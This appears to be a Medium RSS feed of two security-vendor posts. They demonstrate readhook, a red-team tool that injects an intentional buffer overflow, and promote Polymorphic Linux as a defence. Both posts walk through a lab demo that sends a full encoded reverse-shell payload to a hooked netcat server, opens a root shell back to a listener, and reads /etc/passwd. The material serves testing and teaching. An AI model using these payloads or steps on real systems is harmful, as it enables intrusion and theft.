<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roy Sundahl on Medium]]></title>
        <description><![CDATA[Stories by Roy Sundahl on Medium]]></description>
        <link>https://medium.com/@rsundahl?source=rss-78c52dade1f6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1-CwSEbgziIaUiuVe4ABDQ.png</url>
            <title>Stories by Roy Sundahl on Medium</title>
            <link>https://medium.com/@rsundahl?source=rss-78c52dade1f6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 22:36:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rsundahl/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Introducing Polyverse Polymorphic Linux]]></title>
            <link>https://medium.com/polyverse/introducing-polyverse-polymorphic-linux-bee958c02877?source=rss-78c52dade1f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bee958c02877</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[polymorphism]]></category>
            <category><![CDATA[moving-target-defense]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Roy Sundahl]]></dc:creator>
            <pubDate>Wed, 21 Feb 2018 00:07:20 GMT</pubDate>
            <atom:updated>2018-04-05T21:00:44.100Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Power of Polyverse Polymorphic Linux</h3><p>A look at how Polyverse applies a Moving Target Defense strategy to pro-actively protect against zero-day vulnerabilities before they’re disclosed or even discovered.</p><p>What are you doing about that nasty vulnerability circulating on the dark web? You know, the one that you won’t find out about for close to a year? If you’d stop using exactly the same bits as a million other people, you wouldn’t have to worry. With Polyverse Polymorphic Linux you can pull a new and unique binary whenever you want it.</p><p>In my <a href="https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687">previous readhook post</a>, we looked at how to insert an intentional buffer overflow vulnerability into your app. Readhook hooks the libc “read” call and watches traffic for a special string, which triggers a curated buffer overflow. Beyond the buffer overflow endpoint, readhook also provides endpoints that fully generate the exploit required to get a reverse shell out of the attack surface area that your app already provides. Readhook is particularly suited to show how Polymorphic Linux protects you from “me-too” attacks, because it allows exploit payloads that contain encoded “offsets” rather than absolute addresses, allowing a red-hat attacker to quickly defeat ASLR, PIE and Stack Canaries for more productive and deeper risk assessments.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fok8Pe2RuM30%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dok8Pe2RuM30&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fok8Pe2RuM30%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c624493b40137abc66e6663d4e33dc9b/href">https://medium.com/media/c624493b40137abc66e6663d4e33dc9b/href</a></iframe><p>During the average of eight months that a zero-day vulnerability is “in the wild,” your app is vulnerable to “me-too” attacks by any black-hat hacker that has developed an exploit. For example, once an exploit for a recent vulnerability in WordPress was developed, it was used to attack nearly 170,000 sites per hour in <a href="https://www.wordfence.com/blog/2017/12/aggressive-brute-force-wordpress-attack/">a massive distributed brute force attack campaign</a>.</p><p>In this post, we’ll use readhook to generate a payload targeted to the official version of libc, and then we’ll show how installing Polyverse Polymorphic Linux defeats any “me-too” exploit by breaking the attackers assumption that the binary files in your copy of Linux is exactly the same as everybody else’s — and therefore totally predictable.</p><h3>Demonstration: (we’ll need three shell-sessions)</h3><ul><li>A listener to which the reverse-shell payload will “phone-home”</li><li>An instance of the server that we will be hooking with “readhook”</li><li>A client to act as the “remote” hacker</li></ul><h3>Set up for a reverse shell</h3><h4>(1) Start nc listening on port 5555 (Session-1)</h4><pre>nc -kl 5555</pre><h3>Run a simple nc echo server under readhook</h3><h4>(2) Start with a clean alpine:3.7 (Session-2)</h4><pre>docker run --rm --name echo -it -p 8080:8080 alpine:3.7 sh</pre><h4>(2) We’ll need curl and wget</h4><pre>apk update &amp;&amp; apk add curl wget ca-certificates &amp;&amp; update-ca-certificates</pre><h4>(2) Get readhook components</h4><pre>wget -q -O /tmp/basehook.so <a href="https://github.com/polyverse/readhook/releases/download/v1.1.0/basehook.so">https://github.com/polyverse/readhook/releases/download/v1.1.1/basehook.so</a><br>wget -q -O /tmp/fullhook.so <a href="https://github.com/polyverse/readhook/releases/download/v1.1.0/fullhook.so">https://github.com/polyverse/readhook/releases/download/v1.1.1/fullhook.so</a></pre><h4>(2) Start nc with readhook in front of libc</h4><pre>LD_PRELOAD=&quot;/tmp/fullhook.so /tmp/basehook.so&quot; nc -l -p 8080 -e /bin/cat</pre><h3>Generate shellCode and perform exploit</h3><h4>(3) Generate shell-code for the exploit (Session-3)</h4><pre>export shellCode=$(echo &quot;xyzzxMAKELOADdocker.for.mac.localhost&quot; | nc localhost 8080)</pre><h4>(2) Re-start nc with minimal readhook in front of libc</h4><pre>LD_PRELOAD=/tmp/basehook.so nc -l -p 8080 -e /bin/cat</pre><h4>(3) Send shellCode to the OVERFLOW for a reverse shell</h4><pre>echo $shellCode | nc localhost 8080</pre><h4>(1) Check that the overflow resulted in a remote shell</h4><pre>ls &amp;&amp; whoami &amp;&amp; exit</pre><h3>Install Polyverse Polymorphic Linux</h3><h4>(2) Add Polyverse as the preferred repository</h4><pre>curl <a href="https://repo.polyverse.io/install.sh">https://repo.polyverse.io/install.sh</a> | sh -s vZ2v3Bo4Kbnwj9pECrLsoGDDo</pre><h4>(2) Replace standard packages with Polymorphic Linux</h4><pre>sed -n -i &#39;/repo.polyverse.io/p&#39; /etc/apk/repositories &amp;&amp; apk upgrade --update-cache --available</pre><h3>Test Polyverse Polymorphic Linux</h3><h4>(2) Restart nc with minimal readhook</h4><pre>LD_PRELOAD=/tmp/basehook.so nc -l -p 8080 -e /bin/cat</pre><h4>(3) Try the shellCode with Polymorphic Linux</h4><pre>echo $shellCode | nc localhost 8080</pre><h4>(1) Confirm that nobody phoned-home to the listener</h4><h4>(2) Confirm that the server terminated abnormally</h4><h3>Summary</h3><p>ASLR was a good idea at the time, but is now routinely bypassed by hackers. Since ASLR does <em>nothing</em> about the <strong>layout</strong> of a binary, once you know <em>anything</em> about its location, you know <strong>everything</strong> about it. Polyverse Polymorphic Linux changes the <strong>actual layout</strong> of your binaries, making “me-too” attacks a thing of the past. Most importantly, only <strong>Polyverse Polymorphic Linux</strong> protects against undisclosed zero-day vulnerabilities during their typical eight-month existence <em>before</em> disclosure.</p><h3>Resources</h3><ul><li><a href="https://polyverse.io/">https://polyverse.io</a></li><li><a href="https://github.com/polyverse/readhook">https://github.com/polyverse/readhook</a></li><li><a href="https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687">https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bee958c02877" width="1" height="1" alt=""><hr><p><a href="https://medium.com/polyverse/introducing-polyverse-polymorphic-linux-bee958c02877">Introducing Polyverse Polymorphic Linux</a> was originally published in <a href="https://medium.com/polyverse">Polyverse Corporation</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Intentional Buffer Overflow? Hmm…]]></title>
            <link>https://medium.com/polyverse/an-intentional-buffer-overflow-hmm-5c357238b687?source=rss-78c52dade1f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c357238b687</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[moving-target-defense]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Roy Sundahl]]></dc:creator>
            <pubDate>Tue, 23 Jan 2018 22:47:33 GMT</pubDate>
            <atom:updated>2018-07-29T02:53:39.404Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://plex-llc.com/">Plex Solutions</a>, one of only a handful of National Security Agency (NSA) accredited vulnerability testing organizations, has acquired and open-sourced Readhook, an intentional (and very helpful) buffer-overflow tool which Red-teams and individuals can use to get past the difficult and time-consuming business of crafting an exploit.</p><p>What if generating a reverse-shell payload against <em>your</em> app was this easy?</p><pre>xyzzxMAKELOADdocker.for.mac.localhost<br><strong>xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA</strong></pre><p>Zero-day vulnerabilities live an average of eight months in dark places, during which hackers find ways to own you. Is there a zero-day in your world? You bet there is, and you’ll find out about it and the rest of them in about eight months, long after you’ve already lost the war.</p><p>Your red-team has told you that you’re good as far as they can tell, but can they tell you if you’ll be good the day after the next zero-day hits? Nah, you’ll just sweat about how you had an open door for eight months, and then thrash about reactively trying to shore things up with the patches that trickle in from just about everywhere. Ahh, but what’s been going on for those past eight months? <em>You need to know how vulnerable you are right now, but how?</em></p><p>In the ideal open-source world, everybody is leveraging each other. You use what others have developed, you contribute when it supports the community, and you keep the goose that lays the golden eggs closed-source. Open-source public-domain software has been a resounding success, but there is a problem; that shared code (likely around 80% of your running application) is the same code that everybody else is using. This means that <em>everybody knows most of the code that you are using</em>.</p><p>The bad guys know all this, and they also know that once they can find a way into one system, they can use the same method to get into <em>lots</em> of systems… including yours. Extend the mandate of your red-team to answer not only the question, “Are we vulnerable?” (you are), but if so, “What could go wrong?” (a lot). What would happen if someone got into your system during the many months that a vulnerability remains exclusively in the domain of stealthy black-hat hackers?</p><p>“We have no buffer overflow vulnerabilities in our code,” is a great finding from your red-team, but it’s not true. Really? Yes! There are around 1,000 vulnerabilities disclosed each month, many of which are overflow vulnerabilities, many of which are open-source, and many of which are in codebases that are <em>perpetually thought to have no overflow vulnerabilities.</em> The takeaway? <strong>Assume you have a buffer overflow vulnerability.</strong> Now what?</p><p><a href="https://plex-llc.com/">Plex Solutions</a> has open-sourced a tool called “readhook” that empowers your Red-team to answer the second question, <em>“What could go wrong?”</em> By temporarily injecting a buffer overflow vulnerability into your running application, your red-team can craft buffer-overflow exploits against a predictable and well-documented target that can even answer the question “What payload should I overflow with?” That’s right, readhook will actually return the exact payload that you need to successfully “own” or “pwn” your application <em>at this moment</em>.</p><p>So what? Here’s what you need to know. Hacking is hard for a lot of reasons, and, for the past 15 years, more and more mitigations have been developed to thwart hackers that enter via buffer-overflow and code-re-use vectors. Mitigations such as Address Space Layout Randomization (ASLR) for library, stack and heap randomization, Position Independent Executable (PIE) for executable base address randomization, Stack Canaries for buffer overflow detection, and more. <em>Each of </em><strong><em>these mitigations can and routinely are defeated by dedicated hackers</em></strong>, but doing so for your red-team can be arduous and time consuming. You need to know what would happen if someone got in (they can), so readhook can conveniently get your red-team past those details and to the big question, “What could go wrong?”</p><p>I’ll show you the simple mechanics of readhook. The takeaway should be a surprising realization for many people: that your vulnerability comes far more from and even exclusively from the open-source packages that support your application, <em>not your application itself</em>. It’s true that you could have the most secure and simple program in the world and still get owned. Why? <strong>Hackers depend on encountering a predictable subset of code on your computer.</strong> They must know exactly what they have to work with, and it’s not your program that they know all that much about, it’s all of those open-source packages that your application depends on (which is running exactly the same way on your computer as it is on theirs).</p><p>How does readhook work? Readhook consists of two small dynamic libraries (basehook.so and fullhook.so) that are caused to load before the standard system library “libc” loads. These libraries insert themselves in front of the system read() function in libc, where they watch the data read by your application. Basehook.so contains the bare function needed to introduce the buffer overflow. Fullhook.so contains additional functionality that can return a complete exploit that will succeed in the hooked environment. Both functions remain in pass-through mode until a special string is detected in the read stream. The special string that triggers basehook.so is “xyzzy” followed by the verb “OVERFLOW”. The special string that triggers fullhook.so is “xyzzx” followed by one of the verbs, “MAKELOAD”, “DUMPLOAD”, “TESTLOAD” or “OVERFLOW”. If the verb is “OVERFLOW”, the remaining data is routed to an intentional and classic buffer overflow occurring from an out-of-bounds write to an undersized array. Without going into detail in this post, somewhere beyond the end of this buffer lies the return address of the function. Overflowing the return address of the buffer with arbitrary data will crash the program, but overflowing the return address with just the right bits (a ROP-gadget or ROP-chain) will give an attacker control of your machine (as soon as the function executes its return statement).</p><h3>Demo</h3><p>Let’s show readhook in action by hooking a standard Linux utility (nc) and then have it “phone home” to a listener on port 5555 via a buffer-overflow exploit. I’m going to rely on Docker to host nc (netcat or ncat on some systems) with readhook, and my Mac will be listening for the call (also using nc, so try to keep them straight as you step through this). The plain text in the blocks are commands that you can cut and paste into your shells, the bold text are examples of what you can expect to see back from the command.</p><p><strong>Shell 1</strong>: Start a listener for the exploit to call back to. You’ll need the IP address of this listener so you can generate a payload that knows where to call back to. (Since I’m using Docker for Mac, I can use the Docker DNS entry “docker.for.mac.localhost”, which resolves to my Mac Docker IP address.)</p><pre>nc -l 5555</pre><p><strong>Shell 2: </strong>Open a new shell to start the echo server with readhook. The following commands retrieve the readhook components and runs (a second) nc configured as an “echo server” with readhook active.</p><pre>docker run --rm --name echo -d -p 8080:8080 alpine:3.7 sh -c &#39;wget -q -O /tmp/basehook.so <a href="https://github.com/plexsolutions/readhook/releases/download/v1.2.2/basehook.so">https://github.com/plexsolutions/readhook/releases/download/v1.2.2/basehook.so</a> &amp;&amp; wget -q -O /tmp/fullhook.so <a href="https://github.com/plexsolutions/readhook/releases/download/v1.2.2/fullhook.so">https://github.com/plexsolutions/readhook/releases/download/v1.2.2/fullhook.so</a> &amp;&amp; LD_PRELOAD=&quot;/tmp/fullhook.so /tmp/basehook.so&quot; nc -l -p 8080 -e /bin/cat&#39;</pre><p><strong>Shell 2</strong>: In the same shell, run (a third) nc to connect to the echo server that you just launched. (It’s running in the background.)</p><pre>nc localhost 8080<br>echo-this-back-to-me<br><em>echo-this-back-to-me</em></pre><p><strong>Shell 2:</strong> Also in the same shell, try the same thing with the magic string “xyzzx”, the verb “MAKELOAD”, and the IP address (or DNS name) of the listener (listening in shell 1; in my case, I can use the special Docker DNS name “docker.for.mac.localhost”).</p><pre>xyzzxMAKELOADdocker.for.mac.localhost<br><strong>xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA</strong></pre><p>Aha! That’s not an echo, it’s the string that will cause nc to phone home to the listener. Let’s test it out.</p><p><strong>Shell 2: </strong>Copy the result from above (the <strong>bold</strong> text) and send it back to the echo server. It contains a magic string and a different verb, “OVERFLOW”.</p><pre>xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA<br><strong>$</strong></pre><p>Hmm… That’s not an echo either. (It turns out the echo server has given way to our exploit: there is now a reverse shell where our echo server used to be.) Let’s go back to our original listener running in Shell 1 to see what we can do.</p><p><strong>Shell 1:</strong> Go back to the first shell that is listening to port 5555.</p><pre>whoami<br><strong>root<br></strong>cat /etc/passwd<br><strong><em>root:x:0:0:root:/root:/bin/ash<br>bin:x:1:1:bin:/bin:/sbin/nologin<br>daemon:x:2:2:daemon:/sbin:/sbin/nologin<br>adm:x:3:4:adm:/var/adm:/sbin/nologin<br>lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br>sync:x:5:0:sync:/sbin:/bin/sync<br>shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br>halt:x:7:0:halt:/sbin:/sbin/halt<br>mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br>news:x:9:13:news:/usr/lib/news:/sbin/nologin<br>uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin<br>operator:x:11:0:operator:/root:/bin/sh<br>man:x:13:15:man:/usr/man:/sbin/nologin<br>postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin<br>cron:x:16:16:cron:/var/spool/cron:/sbin/nologin<br>ftp:x:21:21::/var/lib/ftp:/sbin/nologin<br>sshd:x:22:22:sshd:/dev/null:/sbin/nologin<br>at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin<br>squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin<br>xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin<br>games:x:35:35:games:/usr/games:/sbin/nologin<br>postgres:x:70:70::/var/lib/postgresql:/bin/sh<br>cyrus:x:85:12::/usr/cyrus:/sbin/nologin<br>vpopmail:x:89:89::/var/vpopmail:/sbin/nologin<br>ntp:x:123:123:NTP:/var/empty:/sbin/nologin<br>smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin<br>guest:x:405:100:guest:/dev/null:/sbin/nologin<br>nobody:x:65534:65534:nobody:/:/sbin/nologin</em></strong></pre><p>That’s it! You can do the same thing with any application that links to libc (which is just about everything).</p><p>Additional Information:<br>• You will find the readhook repository <a href="https://github.com/plexsolutions/readhook">here</a>.<br>• You can see a demo in the screencast below.</p><h3>Want to watch Readhook in action? Check out our screencast:</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fok8Pe2RuM30%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dok8Pe2RuM30&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fok8Pe2RuM30%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c624493b40137abc66e6663d4e33dc9b/href">https://medium.com/media/c624493b40137abc66e6663d4e33dc9b/href</a></iframe><p>Revisions:<br>• Edited on 2-Feb-2018 to reflect release of readhook v1.1.0.<br>• Edited on 21-May-2018 to reflect release of readhook v1.2.2.<br>• Edited on 28-Jul-2018 to reflect transfer of Readhook to Plex Solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c357238b687" width="1" height="1" alt=""><hr><p><a href="https://medium.com/polyverse/an-intentional-buffer-overflow-hmm-5c357238b687">An Intentional Buffer Overflow? Hmm…</a> was originally published in <a href="https://medium.com/polyverse">Polyverse Corporation</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>